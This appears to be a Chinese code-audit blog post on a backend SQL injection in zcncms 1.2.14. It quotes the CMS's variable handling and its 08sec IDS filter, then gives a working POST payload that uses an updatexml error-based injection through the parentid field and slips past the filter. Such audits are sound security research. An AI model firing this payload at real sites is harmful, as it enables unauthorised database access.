代码审计——zcncms后台SQL注入(一)

from:小黑屋

由于是后台注入,比较鸡肋,发上来供大家相互参考学习。zcncms版本1.2.14,官方网站地址:
zcncms

0x01 变量处理

文件/include/common.inc.php中

//检查和注册外部提交的变量
 foreach($_REQUEST as $_k=>$_v)
 {
 //if( strlen($_k)>0 && eregi('^(GLOBALS)',$_k) )
 if( strlen($_k)>0 && preg_match('/^(GLOBALS)/i',$_k) )
 {
 exit('Request var not allow!');
 }
 }
 -------------------------------------------------------------------
 //foreach(Array('_GET','_POST','_COOKIE') as $_request) 取消cookie自动生成变量
 foreach(Array('_GET','_POST') as $_request)
 {
 foreach($$_request as $_k => $_v) {
 //------------------20130128校验变量名
 if(strstr($_k, '_') == $_k){
 echo 'code:re_all';
 exit;
 }
 //可考虑增加变量检测,减少变量覆盖
 //--------------------------
 ${$_k} = _GetRequest($_v);
 }
 }

过滤变量的key是”_p”和”GLOBALS p”的形式,防止全局变量覆盖;并在函数_GetRequest()中进行了addslashes的操作。了解了上面的情况,那么有什么可利用的点就比较清楚了。

0x02 未正确过滤

文件/module/menus/admincontroller/menus.php

case 'edit'://
 if(isset($submit)){
 $info = array();
 $time = time();
 if(isset($id)){
 $id = intval($id);
 if($id <= 0){
 errorinfo('变量错误','');
 }

$infoold = $menus->GetInfo('',' id = '.$id);
 //改变分类从属判断
 if($parentid != $infoold['parentid']) {&nbsp; //毫无意义的比较
 $List = $menus->GetList('',0,1," parentid = $id ",''); //恰当的id
 if(!empty($List)) {
 errorinfo('对不起,该导航('.$id.')下有子导航','');
 }
 }
 }
 //分析根分类
 if($parentid == 0) {
 $rootid = 0;
 } else{
 $parent = $menus->GetInfo('',' id = '.$parentid); //没有单引号

在$parentid != $infoold[‘parentid’]中,用的’!=’,很明显如果我们要控制$parentid的值,这个不等式肯定成立。但是errorinfo会使程序退出,所以这里需要一个在数据库不存在的parentid,使得取出$List为空,从而进入下面的sql操作

$parent = $menus->GetInfo('',' id = '.$parentid);

0x03 全局过滤(08sec ids)

在进行尝试的时候,发现了sql执行居然还有过滤

TB2wu4nuXXXXXXfXXXXXXXXXXXX_!!792076116
追踪sql语句执行函数,GetInfo()->Execute()->option()->SafeSql()

function SafeSql($db_string,$querytype='select'){
 //var_dump($db_string);
 //完整的SQL检查
 //$pos = '';
 //$old_pos = '';
 $pos = 0;
 $old_pos = 0;
 $clean = '';
 if(empty($db_string)){
 return false;
 }
 while (true){
 $pos = strpos($db_string, '\'', $pos + 1);
 if ($pos === false)
 {
 break;
 }
 $clean .= substr($db_string, $old_pos, $pos - $old_pos);
 while (true)
 {
 $pos1 = strpos($db_string, '\'', $pos + 1);
 $pos2 = strpos($db_string, '\\', $pos + 1);
 if ($pos1 === false)
 {
 break;
 }
 elseif ($pos2 == false || $pos2 > $pos1)
 {
 $pos = $pos1;
 break;
 }
 $pos = $pos2 + 1;
 }
 $clean .= '$s$';
 $old_pos = $pos + 1;
 }
 $clean .= substr($db_string, $old_pos);
 $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
 if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
 {
 $fail = true;
 $error="union detect";
 }

//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
 elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
 {
 $fail = true;
 $error="comment detect";
 }

//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
 elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
 {
 $fail = true;
 $error="slown down detect";
 }
 elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
 {
 $fail = true;
 $error="slown down detect";
 }
 elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
 {
 $fail = true;
 $error="file fun detect";
 }
 elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
 {
 $fail = true;
 $error="file fun detect";
 }

//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
 elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
 {
 $fail = true;
 $error="sub select detect";
 }
 if (!empty($fail))
 {
 //fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
 exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
 }
 else
 {
 return $db_string;
 }
 }
 }
 ?>

从代码和警告信息来看,是08sec的通用ids无疑,包括dedecms等内置这个这段代码。网上已经有较多的绕过方式。
构造payload:

zcncms/admin/?c=products_class&a=edit&id=1
 POST:
 submit=&parentid=12=@`\\\'`  and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));#@`\\\'`

2

0x04 多处类似处理不当

搜索了一下代码,发现多处parentid处理不当,不过都需要后台权限

3

发表评论